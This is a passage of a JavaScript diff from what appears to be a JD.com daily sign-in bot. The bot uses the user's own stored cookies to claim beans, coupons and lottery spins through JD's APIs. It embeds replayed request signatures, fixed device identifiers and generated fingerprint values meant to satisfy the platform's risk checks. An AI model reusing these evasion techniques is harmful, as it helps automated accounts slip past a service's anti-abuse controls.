`:``}已禁用${notify?`${amount}个`:`所有`}接口, 如需开启请前往BoxJs或查看脚本内第118行注释.\n` : `` + $nobyda.notify("", "", Name + one + two + three + four + five + disa + notify, { + 'media-url': $nobyda.headUrl || 'https://cdn.jsdelivr.net/gh/NobyDa/mini@master/Color/jd.png' + }); + $nobyda.headUrl = null; + if ($nobyda.isJSBox) { + $nobyda.st = (typeof($nobyda.st) == 'undefined' ? '' : $nobyda.st) + Name + one + two + three + four + five + "\n" + } + } catch (eor) { + $nobyda.notify("通知模块 " + eor.name + "‼️", JSON.stringify(eor), eor.message) + } finally { + resolve() + } + }); +} + +(async function ReadCookie() { + const EnvInfo = $nobyda.isJSBox ? "JD_Cookie" : "CookieJD"; + const EnvInfo2 = $nobyda.isJSBox ? "JD_Cookie2" : "CookieJD2"; + const EnvInfo3 = $nobyda.isJSBox ? "JD_Cookies" : "CookiesJD"; + const move = CookieMove($nobyda.read(EnvInfo) || Key, $nobyda.read(EnvInfo2) || DualKey, EnvInfo, EnvInfo2, EnvInfo3); + const cookieSet = $nobyda.read(EnvInfo3); + if (DeleteCookie) { + const write = $nobyda.write("", EnvInfo3); + throw new Error(`Cookie清除${write?`成功`:`失败`}, 请手动关闭脚本内"DeleteCookie"选项`); + } else if ($nobyda.isRequest) { + GetCookie() + } else if (Key || DualKey || (OtherKey || cookieSet || '[]') != '[]') { + if (($nobyda.isJSBox || $nobyda.isNode) && stop !== '0') $nobyda.write(stop, "JD_DailyBonusDelay"); + out = parseInt($nobyda.read("JD_DailyBonusTimeOut")) || out; + stop = Wait($nobyda.read("JD_DailyBonusDelay"), true) || Wait(stop, true); + boxdis = $nobyda.read("JD_Crash_disable") === "false" || $nobyda.isNode || $nobyda.isJSBox ? false : boxdis; + LogDetails = $nobyda.read("JD_DailyBonusLog") === "true" || LogDetails; + ReDis = ReDis ? $nobyda.write("", "JD_DailyBonusDisables") : ""; + $nobyda.num = 0; + if (Key) await all(Key); + if (DualKey && DualKey !== Key) await all(DualKey); + if ((OtherKey || cookieSet || '[]') != '[]') { + try { + OtherKey = checkFormat([...JSON.parse(OtherKey || '[]'), ...JSON.parse(cookieSet || '[]')]); + const updateSet = OtherKey.length ? $nobyda.write(JSON.stringify(OtherKey, null, 2), EnvInfo3) : ''; + for (let i = 0; i < OtherKey.length; i++) { + const ck = OtherKey[i].cookie; + const jr = OtherKey[i].jrBody; + if (ck != Key && ck != DualKey) { + await all(ck, jr) + } + } + } catch (e) { + throw new Error(`账号Cookie读取失败, 请检查Json格式. \n${e.message}`) + } + } + $nobyda.time(); + } else { + throw new Error('脚本终止, 未获取Cookie ‼️') + } +})().catch(e => { + $nobyda.notify("京东签到", "", e.message || JSON.stringify(e)) +}).finally(() => { + if ($nobyda.isJSBox) $intents.finish($nobyda.st); + $nobyda.done(); +}) + +function JingDongBean(s) { + merge.JDBean = {}; + return new Promise(resolve => { + if (disable("JDBean")) return resolve() + setTimeout(() => { + const JDBUrl = { + url: 'https://api.m.jd.com/client.action', + headers: { + Cookie: KEY + }, + body: 'functionId=signBeanIndex&appid=ld' + }; + $nobyda.post(JDBUrl, function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const cc = JSON.parse(data) + const Details = LogDetails ? "response:\n" + data : ''; + if (cc.code == 3) { + console.log("\n" + "京东商城-京豆Cookie失效 " + Details) + merge.JDBean.notify = "京东商城-京豆: 失败, 原因: Cookie失效‼️" + merge.JDBean.fail = 1 + } else if (data.match(/跳转至拼图/)) { + merge.JDBean.notify = "京东商城-京豆: 失败, 需要拼图验证 ⚠️" + merge.JDBean.fail = 1 + } else if (data.match(/\"status\":\"?1\"?/)) { + console.log("\n" + "京东商城-京豆签到成功 " + Details) + if (data.match(/dailyAward/)) { + merge.JDBean.notify = "京东商城-京豆: 成功, 明细: " + cc.data.dailyAward.beanAward.beanCount + "京豆 🐶" + merge.JDBean.bean = cc.data.dailyAward.beanAward.beanCount + } else if (data.match(/continuityAward/)) { + merge.JDBean.notify = "京东商城-京豆: 成功, 明细: " + cc.data.continuityAward.beanAward.beanCount + "京豆 🐶" + merge.JDBean.bean = cc.data.continuityAward.beanAward.beanCount + } else if (data.match(/新人签到/)) { + const quantity = data.match(/beanCount\":\"(\d+)\".+今天/) + merge.JDBean.bean = quantity ? quantity[1] : 0 + merge.JDBean.notify = "京东商城-京豆: 成功, 明细: " + (quantity ? quantity[1] : "无") + "京豆 🐶" + } else { + merge.JDBean.notify = "京东商城-京豆: 成功, 明细: 无京豆 🐶" + } + merge.JDBean.success = 1 + } else { + merge.JDBean.fail = 1 + console.log("\n" + "京东商城-京豆签到失败 " + Details) + if (data.match(/(已签到|新人签到)/)) { + merge.JDBean.notify = "京东商城-京豆: 失败, 原因: 已签过 ⚠️" + } else if (data.match(/人数较多|S101/)) { + merge.JDBean.notify = "京东商城-京豆: 失败, 签到人数较多 ⚠️" + } else { + merge.JDBean.notify = "京东商城-京豆: 失败, 原因: 未知 ⚠️" + } + } + } + } catch (eor) { + $nobyda.AnError("京东商城-京豆", "JDBean", eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +// function JingDongTurn(s) { +// merge.JDTurn = {}, merge.JDTurn.notify = "", merge.JDTurn.success = 0, merge.JDTurn.bean = 0; +// return new Promise((resolve, reject) => { +// if (disable("JDTurn")) return reject() +// const JDTUrl = { +// url: 'https://api.m.jd.com/client.action?functionId=wheelSurfIndex&body=%7B%22actId%22%3A%22jgpqtzjhvaoym%22%2C%22appSource%22%3A%22jdhome%22%7D&appid=ld', +// headers: { +// Cookie: KEY, +// } +// }; +// $nobyda.get(JDTUrl, async function(error, response, data) { +// try { +// if (error) { +// throw new Error(error) +// } else { +// const cc = JSON.parse(data) +// const Details = LogDetails ? "response:\n" + data : ''; +// if (cc.data && cc.data.lotteryCode) { +// console.log("\n" + "京东商城-转盘查询成功 " + Details) +// return resolve(cc.data.lotteryCode) +// } else { +// merge.JDTurn.notify = "京东商城-转盘: 失败, 原因: 查询错误 ⚠️" +// merge.JDTurn.fail = 1 +// console.log("\n" + "京东商城-转盘查询失败 " + Details) +// } +// } +// } catch (eor) { +// $nobyda.AnError("京东转盘-查询", "JDTurn", eor, response, data) +// } finally { +// reject() +// } +// }) +// if (out) setTimeout(reject, out + s) +// }).then(data => { +// return JingDongTurnSign(s, data); +// }, () => {}); +// } + +function JingDongTurn(s) { + if (!merge.JDTurn) merge.JDTurn = {}, merge.JDTurn.notify = "", merge.JDTurn.success = 0, merge.JDTurn.bean = 0; + return new Promise(resolve => { + if (disable("JDTurn")) return resolve(); + setTimeout(() => { + const JDTUrl = { + url: `https://api.m.jd.com/client.action?functionId=babelGetLottery`, + headers: { + Cookie: KEY + }, + body: 'body=%7B%22enAwardK%22%3A%2295d235f2a09578c6613a1a029b26d12d%22%2C%22riskParam%22%3A%7B%7D%7D&client=wh5' + }; + $nobyda.post(JDTUrl, async function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const cc = JSON.parse(data) + const Details = LogDetails ? "response:\n" + data : ''; + const also = merge.JDTurn.notify ? true : false + if (cc.code == 3) { + console.log("\n" + "京东转盘Cookie失效 " + Details) + merge.JDTurn.notify = "京东商城-转盘: 失败, 原因: Cookie失效‼️" + merge.JDTurn.fail = 1 + } else if (data.match(/(\"T216\"|活动结束)/)) { + merge.JDTurn.notify = "京东商城-转盘: 失败, 原因: 活动结束 ⚠️" + merge.JDTurn.fail = 1 + } else if (data.match(/\d+京豆/)) { + console.log("\n" + "京东商城-转盘签到成功 " + Details) + merge.JDTurn.bean += (cc.prizeName && cc.prizeName.split(/(\d+)/)[1]) || 0 + merge.JDTurn.notify += `${also?`\n`:``}京东商城-转盘: ${also?`多次`:`成功`}, 明细: ${merge.JDTurn.bean||`无`}京豆 🐶` + merge.JDTurn.success += 1 + if (cc.chances > 0) { + await JingDongTurnSign(2000) + } + } else if (data.match(/未中奖|擦肩而过/)) { + merge.JDTurn.notify += `${also?`\n`:``}京东商城-转盘: ${also?`多次`:`成功`}, 状态: 未中奖 🐶` + merge.JDTurn.success += 1 + if (cc.chances > 0) { + await JingDongTurnSign(2000) + } + } else { + console.log("\n" + "京东商城-转盘签到失败 " + Details) + merge.JDTurn.fail = 1 + if (data.match(/(机会已用完|次数为0)/)) { + merge.JDTurn.notify = "京东商城-转盘: 失败, 原因: 已转过 ⚠️" + } else if (data.match(/(T210|密码)/)) { + merge.JDTurn.notify = "京东商城-转盘: 失败, 原因: 无支付密码 ⚠️" + } else { + merge.JDTurn.notify += `${also?`\n`:``}京东商城-转盘: 失败, 原因: 未知 ⚠️${also?` (多次)`:``}` + } + } + } + } catch (eor) { + $nobyda.AnError("京东商城-转盘", "JDTurn", eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +function JingRongSteel(s, body) { + merge.JRSteel = {}; + return new Promise(resolve => { + if (disable("JRSteel")) return resolve(); + if (!body) { + merge.JRSteel.fail = 1; + merge.JRSteel.notify = "京东金融-钢镚: 失败, 未获取签到Body ⚠️"; + return resolve(); + } + setTimeout(() => { + const JRSUrl = { + url: 'https://ms.jr.jd.com/gw/generic/hy/h5/m/appSign', + headers: { + Cookie: KEY + }, + body: body || '' + }; + $nobyda.post(JRSUrl, function(error, response, data) { + try { + if (error) throw new Error(error) + const cc = JSON.parse(data) + const Details = LogDetails ? "response:\n" + data : ''; + if (cc.resultCode == 0 && cc.resultData && cc.resultData.resBusiCode == 0) { + console.log("\n" + "京东金融-钢镚签到成功 " + Details) + merge.JRSteel.notify = `京东金融-钢镚: 成功, 获得钢镚奖励 💰` + merge.JRSteel.success = 1 + } else { + console.log("\n" + "京东金融-钢镚签到失败 " + Details) + merge.JRSteel.fail = 1 + if (cc.resultCode == 0 && cc.resultData && cc.resultData.resBusiCode == 15) { + merge.JRSteel.notify = "京东金融-钢镚: 失败, 原因: 已签过 ⚠️" + } else if (data.match(/未实名/)) { + merge.JRSteel.notify = "京东金融-钢镚: 失败, 账号未实名 ⚠️" + } else if (cc.resultCode == 3) { + merge.JRSteel.notify = "京东金融-钢镚: 失败, 原因: Cookie失效‼️" + } else { + const ng = (cc.resultData && cc.resultData.resBusiMsg) || cc.resultMsg + merge.JRSteel.notify = `京东金融-钢镚: 失败, ${`原因: ${ng||`未知`}`} ⚠️` + } + } + } catch (eor) { + $nobyda.AnError("京东金融-钢镚", "JRSteel", eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +function JingDongShake(s) { + if (!merge.JDShake) merge.JDShake = {}, merge.JDShake.success = 0, merge.JDShake.bean = 0, merge.JDShake.notify = ''; + return new Promise(resolve => { + if (disable("JDShake")) return resolve() + setTimeout(() => { + const JDSh = { + url: 'https://api.m.jd.com/client.action?appid=vip_h5&functionId=vvipclub_shaking', + headers: { + Cookie: KEY, + } + }; + $nobyda.get(JDSh, async function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const Details = LogDetails ? "response:\n" + data : ''; + const cc = JSON.parse(data) + const also = merge.JDShake.notify ? true : false + if (data.match(/prize/)) { + console.log("\n" + "京东商城-摇一摇签到成功 " + Details) + merge.JDShake.success += 1 + if (cc.data.prizeBean) { + merge.JDShake.bean += cc.data.prizeBean.count || 0 + merge.JDShake.notify += `${also?`\n`:``}京东商城-摇摇: ${also?`多次`:`成功`}, 明细: ${merge.JDShake.bean || `无`}京豆 🐶` + } else if (cc.data.prizeCoupon) { + merge.JDShake.notify += `${also?`\n`:``}京东商城-摇摇: ${also?`多次, `:``}获得满${cc.data.prizeCoupon.quota}减${cc.data.prizeCoupon.discount}优惠券→ ${cc.data.prizeCoupon.limitStr}` + } else { + merge.JDShake.notify += `${also?`\n`:``}京东商城-摇摇: 成功, 明细: 未知 ⚠️${also?` (多次)`:``}` + } + if (cc.data.luckyBox.freeTimes != 0) { + await JingDongShake(s) + } + } else { + console.log("\n" + "京东商城-摇一摇签到失败 " + Details) + if (data.match(/true/)) { + merge.JDShake.notify += `${also?`\n`:``}京东商城-摇摇: 成功, 明细: 无奖励 🐶${also?` (多次)`:``}` + merge.JDShake.success += 1 + if (cc.data.luckyBox.freeTimes != 0) { + await JingDongShake(s) + } + } else { + merge.JDShake.fail = 1 + if (data.match(/(无免费|8000005|9000005)/)) { + merge.JDShake.notify = "京东商城-摇摇: 失败, 原因: 已摇过 ⚠️" + } else if (data.match(/(未登录|101)/)) { + merge.JDShake.notify = "京东商城-摇摇: 失败, 原因: Cookie失效‼️" + } else { + merge.JDShake.notify += `${also?`\n`:``}京东商城-摇摇: 失败, 原因: 未知 ⚠️${also?` (多次)`:``}` + } + } + } + } + } catch (eor) { + $nobyda.AnError("京东商城-摇摇", "JDShake", eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +function JDUserSignPre(s, key, title, ac) { + merge[key] = {}; + if ($nobyda.isJSBox) { + return JDUserSignPre2(s, key, title, ac); + } else { + return JDUserSignPre1(s, key, title, ac); + } +} + +function JDUserSignPre1(s, key, title, acData, ask) { + return new Promise((resolve, reject) => { + if (disable(key, title, 1)) return reject() + const JDUrl = { + url: 'https://api.m.jd.com/?client=wh5&functionId=qryH5BabelFloors', + headers: { + Cookie: KEY + }, + opts: { + 'filter': 'try{var od=JSON.parse(body);var params=(od.floatLayerList||[]).filter(o=>o.params&&o.params.match(/enActK/)).map(o=>o.params).pop()||(od.floorList||[]).filter(o=>o.template=="signIn"&&o.signInfos&&o.signInfos.params&&o.signInfos.params.match(/enActK/)).map(o=>o.signInfos&&o.signInfos.params).pop();var tId=(od.floorList||[]).filter(o=>o.boardParams&&o.boardParams.turnTableId).map(o=>o.boardParams.turnTableId).pop();var page=od.paginationFlrs;return JSON.stringify({qxAct:params||null,qxTid:tId||null,qxPage:page||null})}catch(e){return `=> 过滤器发生错误: ${e.message}`}' + }, + body: `body=${encodeURIComponent(`{"activityId":"${acData}"${ask?`,"paginationParam":"2","paginationFlrs":"${ask}"`:``}}`)}` + }; + $nobyda.post(JDUrl, async function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const od = JSON.parse(data || '{}'); + const turnTableId = od.qxTid || (od.floorList || []).filter(o => o.boardParams && o.boardParams.turnTableId).map(o => o.boardParams.turnTableId).pop(); + const page = od.qxPage || od.paginationFlrs; + if (data.match(/enActK/)) { // 含有签到活动数据 + let params = od.qxAct || (od.floatLayerList || []).filter(o => o.params && o.params.match(/enActK/)).map(o => o.params).pop() + if (!params) { // 第一处找到签到所需数据 + // floatLayerList未找到签到所需数据,从floorList中查找 + let signInfo = (od.floorList || []).filter(o => o.template == 'signIn' && o.signInfos && o.signInfos.params && o.signInfos.params.match(/enActK/)) + .map(o => o.signInfos).pop(); + if (signInfo) { + if (signInfo.signStat == '1') { + console.log(`\n${title}重复签到`) + merge[key].notify = `${title}: 失败, 原因: 已签过 ⚠️` + merge[key].fail = 1 + } else { + params = signInfo.params; + } + } else { + merge[key].notify = `${title}: 失败, 活动查找异常 ⚠️` + merge[key].fail = 1 + } + } + if (params) { + return resolve({ + params: params + }); // 执行签到处理 + } + } else if (turnTableId) { // 无签到数据, 但含有关注店铺签到 + const boxds = $nobyda.read("JD_Follow_disable") === "false" ? false : true + if (boxds) { + console.log(`\n${title}关注店铺`) + return resolve(parseInt(turnTableId)) + } else { + merge[key].notify = `${title}: 失败, 需要关注店铺 ⚠️` + merge[key].fail = 1 + } + } else if (page && !ask) { // 无签到数据, 尝试带参查询 + const boxds = $nobyda.read("JD_Retry_disable") === "false" ? false : true + if (boxds) { + console.log(`\n${title}二次查询`) + return resolve(page) + } else { + merge[key].notify = `${title}: 失败, 请尝试开启增强 ⚠️` + merge[key].fail = 1 + } + } else { + merge[key].notify = `${title}: 失败, ${!data ? `需要手动执行` : `不含活动数据`} ⚠️` + merge[key].fail = 1 + } + } + reject() + } catch (eor) { + $nobyda.AnError(title, key, eor, response, data) + reject() + } + }) + if (out) setTimeout(reject, out + s) + }).then(data => { + disable(key, title, 2) + if (typeof(data) == "object") return JDUserSign1(s, key, title, encodeURIComponent(JSON.stringify(data))); + if (typeof(data) == "number") return JDUserSign2(s, key, title, data, acData); + if (typeof(data) == "string") return JDUserSignPre1(s, key, title, acData, data); + }, () => disable(key, title, 2)) +} + +function JDUserSignPre2(s, key, title, acData) { + return new Promise((resolve, reject) => { + if (disable(key, title, 1)) return reject() + const JDUrl = { + url: `https://pro.m.jd.com/mall/active/${acData}/index.html`, + headers: { + Cookie: KEY, + } + }; + $nobyda.get(JDUrl, async function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const act = data.match(/\"params\":\"\{\\\"enActK.+?\\\"\}\"/) + const turnTable = data.match(/\"turnTableId\":\"(\d+)\"/) + const page = data.match(/\"paginationFlrs\":\"(\[\[.+?\]\])\"/) + if (act) { // 含有签到活动数据 + return resolve(act) + } else if (turnTable) { // 无签到数据, 但含有关注店铺签到 + const boxds = $nobyda.read("JD_Follow_disable") === "false" ? false : true + if (boxds) { + console.log(`\n${title}关注店铺`) + return resolve(parseInt(turnTable[1])) + } else { + merge[key].notify = `${title}: 失败, 需要关注店铺 ⚠️` + merge[key].fail = 1 + } + } else if (page) { // 无签到数据, 尝试带参查询 + const boxds = $nobyda.read("JD_Retry_disable") === "false" ? false : true + if (boxds) { + console.log(`\n${title}二次查询`) + return resolve(page[1]) + } else { + merge[key].notify = `${title}: 失败, 请尝试开启增强 ⚠️` + merge[key].fail = 1 + } + } else { + merge[key].notify = `${title}: 失败, ${!data ? `需要手动执行` : `不含活动数据`} ⚠️` + merge[key].fail = 1 + } + } + reject() + } catch (eor) { + $nobyda.AnError(title, key, eor, response, data) + reject() + } + }) + if (out) setTimeout(reject, out + s) + }).then(data => { + disable(key, title, 2) + if (typeof(data) == "object") return JDUserSign1(s, key, title, encodeURIComponent(`{${data}}`)); + if (typeof(data) == "number") return JDUserSign2(s, key, title, data, acData) + if (typeof(data) == "string") return JDUserSignPre1(s, key, title, acData, data) + }, () => disable(key, title, 2)) +} + +function JDUserSign1(s, key, title, body) { + return new Promise(resolve => { + setTimeout(() => { + const JDUrl = { + url: 'https://api.m.jd.com/client.action?functionId=userSign', + headers: { + Cookie: KEY + }, + body: `body=${body}&client=wh5` + }; + $nobyda.post(JDUrl, function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const Details = LogDetails ? `response:\n${data}` : ''; + if (data.match(/签到成功/)) { + console.log(`\n${title}签到成功(1)${Details}`) + if (data.match(/\"text\":\"\d+京豆\"/)) { + merge[key].bean = data.match(/\"text\":\"(\d+)京豆\"/)[1] + } + merge[key].notify = `${title}: 成功, 明细: ${merge[key].bean || '无'}京豆 🐶` + merge[key].success = 1 + } else { + console.log(`\n${title}签到失败(1)${Details}`) + if (data.match(/(已签到|已领取)/)) { + merge[key].notify = `${title}: 失败, 原因: 已签过 ⚠️` + } else if (data.match(/(不存在|已结束|未开始)/)) { + merge[key].notify = `${title}: 失败, 原因: 活动已结束 ⚠️` + } else if (data.match(/\"code\":\"?3\"?/)) { + merge[key].notify = `${title}: 失败, 原因: Cookie失效‼️` + } else { + const ng = data.match(/\"(errorMessage|subCodeMsg)\":\"(.+?)\"/) + merge[key].notify = `${title}: 失败, ${ng?ng[2]:`原因: 未知`} ⚠️` + } + merge[key].fail = 1 + } + } + } catch (eor) { + $nobyda.AnError(title, key, eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +async function JDUserSign2(s, key, title, tid, acData) { + await new Promise(resolve => { + let lkt = new Date().getTime() + let lks = md5('' + 'q8DNJdpcfRQ69gIx' + lkt).toString() + $nobyda.get({ + url: `https://jdjoy.jd.com/api/turncard/channel/detail?turnTableId=${tid}&invokeKey=q8DNJdpcfRQ69gIx`, + headers: { + Cookie: KEY, + 'lkt': lkt, + 'lks': lks + } + }, async function(error, response, data) { + try { + if(data) { + data = JSON.parse(data); + if (data.success && data.data) { + data = data.data + if (!data.hasSign) { + let ss = await Faker.getBody(`https://prodev.m.jd.com/mall/active/${acData}/index.html`) + fp = ss.fp + await getEid(ss, title) + } + } + } + } catch(eor) { + $nobyda.AnError(title, key, eor, response, data) + } finally { + resolve() + } + }) + if (out) setTimeout(resolve, out + s) + }); + return new Promise(resolve => { + setTimeout(() => { + let lkt = new Date().getTime() + let lks = md5('' + 'q8DNJdpcfRQ69gIx' + lkt).toString() + const JDUrl = { + url: 'https://jdjoy.jd.com/api/turncard/channel/sign?invokeKey=q8DNJdpcfRQ69gIx', + headers: { + Cookie: KEY, + 'lkt': lkt, + 'lks': lks + }, + body: `turnTableId=${tid}&fp=${fp}&eid=${eid}` + }; + $nobyda.post(JDUrl, function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const Details = LogDetails ? `response:\n${data}` : ''; + if (data.match(/\"success\":true/)) { + console.log(`\n${title}签到成功(2)${Details}`) + if (data.match(/\"jdBeanQuantity\":\d+/)) { + merge[key].bean = data.match(/\"jdBeanQuantity\":(\d+)/)[1] + } + merge[key].notify = `${title}: 成功, 明细: ${merge[key].bean || '无'}京豆 🐶` + merge[key].success = 1 + } else { + const captcha = /请进行验证/.test(data); + if (data.match(/(已经签到|已经领取)/)) { + merge[key].notify = `${title}: 失败, 原因: 已签过 ⚠️` + } else if (data.match(/(不存在|已结束|未开始)/)) { + merge[key].notify = `${title}: 失败, 原因: 活动已结束 ⚠️` + } else if (data.match(/(没有登录|B0001)/)) { + merge[key].notify = `${title}: 失败, 原因: Cookie失效‼️` + } else if (!captcha) { + const ng = data.match(/\"(errorMessage|subCodeMsg)\":\"(.+?)\"/) + merge[key].notify = `${title}: 失败, ${ng?ng[2]:`原因: 未知`} ⚠️` + } + if (!captcha) merge[key].fail = 1; + console.log(`\n${title}签到失败(2)${captcha?`\n需要拼图验证, 跳过通知记录 ⚠️`:``}${Details}`) + } + } + } catch (eor) { + $nobyda.AnError(title, key, eor, response, data) + } finally { + resolve() + } + }) + }, 200 + s) + if (out) setTimeout(resolve, out + s + 200) + }); +} + +function JDFlashSale(s) { + merge.JDFSale = {}; + return new Promise(resolve => { + if (disable("JDFSale")) return resolve() + setTimeout(() => { + const JDPETUrl = { + url: 'https://api.m.jd.com/client.action?functionId=partitionJdSgin', + headers: { + Cookie: KEY + }, + body: "body=%7B%22version%22%3A%22v2%22%7D&client=apple&clientVersion=9.0.8&openudid=1fce88cd05c42fe2b054e846f11bdf33f016d676&sign=6768e2cf625427615dd89649dd367d41&st=1597248593305&sv=121" + }; + $nobyda.post(JDPETUrl, async function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const Details = LogDetails ? "response:\n" + data : ''; + const cc = JSON.parse(data) + if (cc.result && cc.result.code == 0) { + console.log("\n" + "京东商城-闪购签到成功 " + Details) + merge.JDFSale.bean = cc.result.jdBeanNum || 0 + merge.JDFSale.notify = "京东商城-闪购: 成功, 明细: " + (merge.JDFSale.bean || "无") + "京豆 🐶" + merge.JDFSale.success = 1 + } else { + console.log("\n" + "京东商城-闪购签到失败 " + Details) + if (data.match(/(已签到|已领取|\"2005\")/)) { + merge.JDFSale.notify = "京东商城-闪购: 失败, 原因: 已签过 ⚠️" + } else if (data.match(/不存在|已结束|\"2008\"|\"3001\"/)) { + await FlashSaleDivide(s); //瓜分京豆 + return + } else if (data.match(/(\"code\":\"3\"|\"1003\")/)) { + merge.JDFSale.notify = "京东商城-闪购: 失败, 原因: Cookie失效‼️" + } else { + const msg = data.match(/\"msg\":\"([\u4e00-\u9fa5].+?)\"/) + merge.JDFSale.notify = `京东商城-闪购: 失败, ${msg ? msg[1] : `原因: 未知`} ⚠️` + } + merge.JDFSale.fail = 1 + } + } + } catch (eor) { + $nobyda.AnError("京东商城-闪购", "JDFSale", eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +function FlashSaleDivide(s) { + return new Promise(resolve => { + setTimeout(() => { + const Url = { + url: 'https://api.m.jd.com/client.action?functionId=partitionJdShare', + headers: { + Cookie: KEY + }, + body: "body=%7B%22version%22%3A%22v2%22%7D&client=apple&clientVersion=9.0.8&openudid=1fce88cd05c42fe2b054e846f11bdf33f016d676&sign=49baa3b3899b02bbf06cdf41fe191986&st=1597682588351&sv=111" + }; + $nobyda.post(Url, function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const Details = LogDetails ? "response:\n" + data : ''; + const cc = JSON.parse(data) + if (cc.result.code == 0) { + merge.JDFSale.success = 1 + merge.JDFSale.bean = cc.result.jdBeanNum || 0 + merge.JDFSale.notify = "京东闪购-瓜分: 成功, 明细: " + (merge.JDFSale.bean || "无") + "京豆 🐶" + console.log("\n" + "京东闪购-瓜分签到成功 " + Details) + } else { + merge.JDFSale.fail = 1 + console.log("\n" + "京东闪购-瓜分签到失败 " + Details) + if (data.match(/已参与|已领取|\"2006\"/)) { + merge.JDFSale.notify = "京东闪购-瓜分: 失败, 原因: 已瓜分 ⚠️" + } else if (data.match(/不存在|已结束|未开始|\"2008\"|\"2012\"/)) { + merge.JDFSale.notify = "京东闪购-瓜分: 失败, 原因: 活动已结束 ⚠️" + } else if (data.match(/\"code\":\"1003\"|未获取/)) { + merge.JDFSale.notify = "京东闪购-瓜分: 失败, 原因: Cookie失效‼️" + } else { + const msg = data.match(/\"msg\":\"([\u4e00-\u9fa5].+?)\"/) + merge.JDFSale.notify = `京东闪购-瓜分: 失败, ${msg ? msg[1] : `原因: 未知`} ⚠️` + } + } + } + } catch (eor) { + $nobyda.AnError("京东闪购-瓜分", "JDFSale", eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +function JingDongCash(s) { + merge.JDCash = {}; + return new Promise(resolve => { + if (disable("JDCash")) return resolve() + setTimeout(() => { + const JDCAUrl = { + url: 'https://api.m.jd.com/client.action?functionId=ccSignInNew', + headers: { + Cookie: KEY + }, + body: "body=%7B%22pageClickKey%22%3A%22CouponCenter%22%2C%22eid%22%3A%22O5X6JYMZTXIEX4VBCBWEM5PTIZV6HXH7M3AI75EABM5GBZYVQKRGQJ5A2PPO5PSELSRMI72SYF4KTCB4NIU6AZQ3O6C3J7ZVEP3RVDFEBKVN2RER2GTQ%22%2C%22shshshfpb%22%3A%22v1%5C%2FzMYRjEWKgYe%2BUiNwEvaVlrHBQGVwqLx4CsS9PH1s0s0Vs9AWk%2B7vr9KSHh3BQd5NTukznDTZnd75xHzonHnw%3D%3D%22%2C%22childActivityUrl%22%3A%22openapp.jdmobile%253a%252f%252fvirtual%253fparams%253d%257b%255c%2522category%255c%2522%253a%255c%2522jump%255c%2522%252c%255c%2522des%255c%2522%253a%255c%2522couponCenter%255c%2522%257d%22%2C%22monitorSource%22%3A%22cc_sign_ios_index_config%22%7D&client=apple&clientVersion=8.5.0&d_brand=apple&d_model=iPhone8%2C2&openudid=1fce88cd05c42fe2b054e846f11bdf33f016d676&scope=11&screen=1242%2A2208&sign=1cce8f76d53fc6093b45a466e93044da&st=1581084035269&sv=102" + }; + $nobyda.post(JDCAUrl, function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const Details = LogDetails ? "response:\n" + data : ''; + const cc = JSON.parse(data) + if (cc.busiCode == "0") { + console.log("\n" + "京东现金-红包签到成功 " + Details) + merge.JDCash.success = 1 + merge.JDCash.Cash = cc.result.signResult.signData.amount || 0 + merge.JDCash.notify = `京东现金-红包: 成功, 明细: ${merge.JDCash.Cash || `无`}红包 🧧` + } else { + console.log("\n" + "京东现金-红包签到失败 " + Details) + merge.JDCash.fail = 1 + if (data.match(/(\"busiCode\":\"1002\"|完成签到)/)) { + merge.JDCash.notify = "京东现金-红包: 失败, 原因: 已签过 ⚠️" + } else if (data.match(/(不存在|已结束)/)) { + merge.JDCash.notify = "京东现金-红包: 失败, 原因: 活动已结束 ⚠️" + } else if (data.match(/(\"busiCode\":\"3\"|未登录)/)) { + merge.JDCash.notify = "京东现金-红包: 失败, 原因: Cookie失效‼️" + } else { + const msg = data.split(/\"msg\":\"([\u4e00-\u9fa5].+?)\"/)[1]; + merge.JDCash.notify = `京东现金-红包: 失败, ${msg||`原因: 未知`} ⚠️` + } + } + } + } catch (eor) { + $nobyda.AnError("京东现金-红包", "JDCash", eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +function JDMagicCube(s, sign) { + merge.JDCube = {}; + return new Promise((resolve, reject) => { + if (disable("JDCube")) return reject() + const JDUrl = { + url: `https://api.m.jd.com/client.action?functionId=getNewsInteractionInfo&appid=smfe${sign?`&body=${encodeURIComponent(`{"sign":${sign}}`)}`:``}`, + headers: { + Cookie: KEY, + } + }; + $nobyda.get(JDUrl, async (error, response, data) => { + try { + if (error) throw new Error(error) + const Details = LogDetails ? "response:\n" + data : ''; + console.log(`\n京东魔方-尝试查询活动(${sign}) ${Details}`) + if (data.match(/\"interactionId\":\d+/)) { + resolve({ + id: data.match(/\"interactionId\":(\d+)/)[1], + sign: sign || null + }) + } else if (data.match(/配置异常/) && sign) { + await JDMagicCube(s, sign == 2 ? 1 : null) + reject() + } else { + resolve(null) + } + } catch (eor) { + $nobyda.AnError("京东魔方-查询", "JDCube", eor, response, data) + reject() + } + }) + if (out) setTimeout(reject, out + s) + }).then(data => { + return JDMagicCubeSign(s, data) + }, () => {}); +} + +function JDMagicCubeSign(s, id) { + return new Promise(resolve => { + setTimeout(() => { + const JDMCUrl = { + url: `https://api.m.jd.com/client.action?functionId=getNewsInteractionLotteryInfo&appid=smfe${id?`&body=${encodeURIComponent(`{${id.sign?`"sign":${id.sign},`:``}"interactionId":${id.id}}`)}`:``}`, + 